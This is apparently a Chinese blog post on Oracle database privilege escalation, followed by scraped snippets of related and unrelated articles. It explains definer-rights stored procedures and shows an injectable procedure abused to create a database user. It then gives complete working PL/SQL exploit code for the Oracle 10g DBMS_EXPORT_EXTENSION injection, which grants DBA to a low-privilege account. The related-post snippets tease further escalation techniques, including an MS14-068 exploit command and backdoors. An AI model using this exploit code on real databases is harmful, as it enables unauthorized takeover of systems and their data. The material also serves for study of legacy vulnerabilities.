0x01 Oracle存储过程”缺陷”

在 Oracle 的存储过程中,有一个有趣的特点:运行权限。运行权限分为两种,definer 和 invoker。

definer 为函数创建者的权限,而 invoker 则是当前调用函数的用户。运行权限在函数创建时就已经被钦定了,默认为 definer。

说白了,如果我们用低权限用户去运行DBA权限用户创建的存储过程,我们在调用时就可以额访问DBA资源,使用DBA的权限

Oracle 这样做的初衷,实际上是为了用户互相访问资源时,避免用户凭据的问题。当然也可以将函数的权限定义为 invoker,但需要显式设置:

create or replace function Whoami return varchar2

AUTHID CURRENT_USER

begin NULL; end;

因为具有这样的特性,所以当存储过程函数实现存在缺陷时,安全问题就产生了。

比如下面这里新建一个存储过程

create or replace procedure SasugaOracle(msg in varchar2)

as

stmt varchar2(255);

begin

stmt := 'BEGIN DBMS_OUTPUT.PUT_LINE(''' || msg || ''') END;';

EXECUTE IMMEDIATE stmt;

end;

EXECUTE IMMEDIATE 用于动态执行 SQL 语句。首先使用 DBA 用户创建该过程并赋予所有人执行权限:

grant execute on SasugaOracle to public;

接着切换到普通用户,只有 CONNECT 和 RESOURCE 权限,执行存储过程:

修改一下传入的参数,这里我们在原命令后新增了一条添加数据库用户的命令,这里添加的用户名为latec0mer

然后我们查询一下是否存在latec0mer这个用户,可以看到我们上一条新增的命令是生效的。

类似的,如果 Oracle 的系统函数中存在同样的缺陷,我们便有机会对其加以利用,提升权限,甚至执行系统命令。

0x02Oracle 10g经典提权漏洞

在 Oracle 10g 中, GET_DOMAIN_INDEX_TABLES 函数存在注入漏洞,该函数位于 DBMS_EXPORT_EXTENSION 包中,执行权限隶属于 sys。

用scott/tiger登陆Oracle,scott 是oracle内建用户,权限较低,我们就可以利用执行具有高权限的漏洞函数来达到提升数据库用户权限的目的。

sqlplus scott/tiger@orcl

查询scott的当前角色

select * from session_roles;

可以看到scott只有CONNECT和RESOURCE两个权限较低的角色

利用漏洞执行权限提升

Create or REPLACE

PACKAGE HACKERPACKAGE AUTHID CURRENT_USER

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env

SYS.odcienv)

RETURN NUMBER;

END;

/

Create or REPLACE PACKAGE BODY HACKERPACKAGE

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env

SYS.odcienv)

RETURN NUMBER

IS

pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';

COMMIT;

RETURN(1);

END;

END;

/

DECLARE

INDEX_NAME VARCHAR2(200);

INDEX_SCHEMA VARCHAR2(200);

TYPE_NAME VARCHAR2(200);

TYPE_SCHEMA VARCHAR2(200);

VERSION VARCHAR2(200);

NEWBLOCK PLS_INTEGER;

GMFLAGS NUMBER;

v_Return VARCHAR2(200);

BEGIN

INDEX_NAME := 'A1';

INDEX_SCHEMA := 'SCOTT';

TYPE_NAME := 'HACKERPACKAGE';

TYPE_SCHEMA := 'SCOTT';

VERSION := '10.2.0.1.0';

GMFLAGS := 1;

v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>

INDEX_NAME,

INDEX_SCHEMA=> INDEX_SCHEMA,

TYPE_NAME => TYPE_NAME,

TYPE_SCHEMA => TYPE_SCHEMA,

VERSION => VERSION,

NEWBLOCK => NEWBLOCK,

GMFLAGS => GMFLAGS);

END;

/

现在我们再来看看权限

成功从普通用户提权到dba用户。

ps:经测试,oracle10.2.0.4以上版本没这个安全漏洞

08提权 系统文件权限和远程连接IP绕过 安装后门

大家都知道08权限的系统权限设置很严格  面对限制IP连接的情况 我们及时拿到system权限 有账号也上不去这种情况下只能弄shift后门 或者放大镜了  但08权限 在system权限也操作不了系 ...

提权基础-----mysql-udf提权

1.总结关于udf提权方法 通过弱口令,爆破,网站配置文件等方式得到mysql数据库帐号密码,---还要能外连 (1).将udf.dll代码的16进制数声明给my_udf_a变量 set @my_ud ...

[原创]IIS提权工具-VBS提权脚本免杀生成器

[原创]添加系统用户 VBS提权脚本随机加密生成器[K.8] 2011-05-05 02:42:53|  分类: 原创工具 VBS提权脚本随机加密生成器[K.8]  Author: QQ吻 QQ:39 ...

PublicCMS 网站漏洞 任意文件写入并可提权服务器权限

PublicCMS是目前网站系统中第一个采用JAVA架构 TOMCAT+Apcche+Mysql数据库架构的CMS网站,开源,数据承载量大,可以承载到上千万的数据量,以及用户的网站并发可达到上千万的P ...

第三方提权之serv-u提权

文章比较简单,只是做一个科普.给一个好朋友的. 倘若口令更改了大家可以去serv-u的目录(默认路径:C:\Program Files\Serv-U\)找其配置文件(ServUDaemon.ini), ...

[提权]域内提权神器 MS14-068 完整EXP

可以让任何域内用户提升为域管理员     c:\python27\python.exe ms14-068.py -u k8test3@k8.local -p k8team!@# -s S-1-5-2 ...

提权案例(一)渗透某asp.net网站通过sql server数据库public 提权 思路分享

先罗列出sql server 角色用户的权限 按照从最低级别角色(bulkadmin)到最高级别角色(sysadmin)的顺序进行描述:1.bulkadmin:这个角色可以运行BULK INSERT语 ...

kali权限提升之配置不当提权与WCE

kali权限提升之配置不当提权与WCE 1.利用配置不当提权 2.WCE 3.其他提权 一.利用配置不当提权 与漏洞提权相比更常用的方法 在大部分企业环境下,会有相应的补丁更新策略,因此难以通过相应漏 ...

WIN提权总结【本地存档-转载】

[ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1 ...

随机推荐

用php怎么改文件名

php手册:bool rename ( string oldname, string newname [, resource context] )尝试把 oldname 重命名为 newname. 如 ...

Omnithreadlibary学习(2)-IOmniTask异步执行

1.使用 procedure Parallel.Async(task: TProc; taskConfig: IOmniTaskConfig); 匿名委托访问网站 program main; {$AP ...

python进阶1--数据库支持

数据库支持 1.连接和游标 1)connect函数,该函数有多个参数,而具体使用那个参数取决于数据库.--连接数据库 常用参数: dsn:数据源名称 user:用户名 password:用户密码 ho ...

Maximum Sum of Digits(CodeForces 1060B)

Description You are given a positive integer nn. Let S(x) be sum of digits in base 10 representation ...

如何查看oracle用户具有的权限和角色

.查看所有用户: select * from dba_users; select * from all_users; select * from user_users; .查看用户或角色系统权限(直接 ...

017 Spark的运行模式(yarn模式)

1.关于mapreduce on yarn 来提交job的流程 yarn=resourcemanager(RM)+nodemanager(NM) client向RM提交任务 RM向NM分配applic ...

innerWidth outerWidth

在jQuery中: 一.width()方法用于获得元素宽度: 二.innerWidth()方法用于获得包括内边界(padding)的元素宽度; 三.outerWidth()方法用于获得包括内边界(pa ...

c#直接调用ssis包实现Sql Server的数据导入功能

调用ssis包实现Sql Server的数据导入功能网上已经有很多人讨论过,自己参考后也动手实现了一下,上一次笔者的项目中还用了一下这个功能.思前想后,决定还是贴一下增强记忆,高手请54. 1.直接调 ...

node升级后,项目中的node-sass报错的问题

之前可能因为电脑不知道哪抽风了,在npm build的时候进入就卡在入口的地方,启动express的时候也会,所以就重装了一下node 重装node 其实也不是重装,就是使用 where node 查 ...

相机姿态估计(Pose Estimation)

(未完待续.....) 根据针孔相机模型,相机成像平面一点的像素坐标p和该点在世界坐标系下的3D坐标P有$p=KP$的关系,如果用齐次坐标表示则有: $$dp=KP$$ 其中d是空间点深度(为了将p的 ...

oracle用户获取datameta权限,Oracle数据库提权(低权限提升至dba)相关推荐

  1. oracle 数据库密码 特殊字符,【案例】Oracle用户密码含特殊字符$ 登录数据库时异常案例...

    天萃荷净 开发DBA反映,新建用户的密码含有特殊字符$,在sqlplus登录数据库时出现异常 [oracle@ECP-UC-DB1 ~]$ sqlplus / as sysdba SQL*Plus: ...

  2. Windows提权--小迪权限提升--烂土豆--DLL劫持--udf提权

    目录 权限分类 针对环境 webshell权限 本地用户权限 提权方法 1.windows内核溢出漏洞(如何判断类型和利用) 2.数据库提权 Mysql Mssql oracle redis post ...

  3. 操作系统权限提升(二十三)之Linux提权-通配符(ws)提权

    系列文章 操作系统权限提升(十八)之Linux提权-内核提权 操作系统权限提升(十九)之Linux提权-SUID提权 操作系统权限提升(二十)之Linux提权-计划任务提权 操作系统权限提升(二十一) ...

  4. Day1——提权学习之提权基础

    0x00 提权技术分类 大概分为三种: 1.系统溢出漏洞提权 2.数据库提权 3.第三方软件提权 0x01 通常脚本所处的权限 1.asp / php 匿名权限(网络服务权限) 2.aspx user ...

  5. 使用MSF进行提权(windows提权、linux提权、wesng使用)

    文章目录 MSF Windows提权 反弹shell 提权 END推荐阅读 MSF Linux提权 反弹shell 补充wesng用法 Metasploit 是一个渗透框架,kali 内安装了,安装位 ...

  6. 第三方组件提权-SQL server提权

    文章目录 基础 MSSQL权限级别 拿webshell xp_cmdshell执行系统命令 LOG备份getshell 提权 使用xp_cmdshell进行提权 以下内容为转载 使用sp_oacrea ...

  7. mysql提权方式linux_Linux提权的几种常用方式

    本文转载自微信公众号「Bypass」,作者Bypass .转载本文请联系Bypass公众号. 在渗透测试过程中,提升权限是非常关键的一步,攻击者往往可以通过利用内核漏洞/权限配置不当/root权限运行 ...

  8. CobaltStrike使用-第五篇(Bypass UAC、CVE提权、Powerup提权)

    前四篇文章介绍了CS的基本使用方法和模块,以及钓鱼攻击的方法,本篇将会介绍使用CS进行提权操作 文章目录 权限提升 Bypass UAC CVE提权 PowerUp 凭证和哈希获取 Beacon 中的 ...

  9. 提权学习:第三方软件提权(Server-u 提权)43958

    当你的才华 还撑不起你的野心时 那你就应该静下心来学习 第三方软件提权 Server-u 提权 Serv-U FTP Server,是一种被广泛运用的FTP服务器端软件,支持3x/9x/ME/NT/2 ...

最新文章

  1. redis一:非关系型数据库
  2. Linux学习之命令【1】
  3. spark-streaming问题集锦
  4. 【转载】C/C++中long long与__int64的区别
  5. 忘记mysql数据库密码时进行修改方法
  6. python调用api接口获取数据_python批量爬取NCBI基因注释并调用谷歌API批量翻译
  7. 获取DataTable字段唯一值(DISTINCT)
  8. 在比特币世界中矿工的作用是什么
  9. U-Boot工作过程
  10. openstack cinder api对应的命令行接口
  11. 深入浅出MFC之6大技术 消息映射及命令传递 DECLARE_MESSAGE_MAP 和 ON_NOTIFY ON_COMMAND ON_MESSAGE 三大难点解析
  12. 解读NoSQL数据库的四大家族
  13. 惠普触控板使用指南_hp触摸板开关怎么使用 如何锁定hp触摸板
  14. 证明:模n加法满足结合律
  15. 安卓handler的用法,handler举例
  16. 如何快速发表第一篇高水平论文
  17. Visual Studio 2017,C++MFC免注册调用大漠插件图文教程,详细版
  18. 电子拍卖系统开发第四天
  19. 技术硬实力+服务软实力,声网助力出海企业破解水土不服难题
  20. shell脚本 简介 及 第一个脚本程序

热门文章

  1. java常见数据校验
  2. cmd pc如何开多个微信_抖音打击刷赞刷粉,240多个百万粉丝大V被封;微信PC版再更新...
  3. 如何在linux里面运行ncl,NCL基础讲解(二)——NCL安装与运行
  4. php代码质量怎么提高,如何提高PHP代码的质量?第一部分 自动化工具
  5. Web前端书单从HTML到JS到AJAX到HTTP从框架到全栈
  6. 【C语言进阶深度学习记录】十八 条件编译的使用与分析
  7. 【C++深度剖析教程29】C++对象模型分析下
  8. web----tcp三次握手
  9. 一起学Python:列表介绍
  10. canvas合成图片 圣诞节新技能戴帽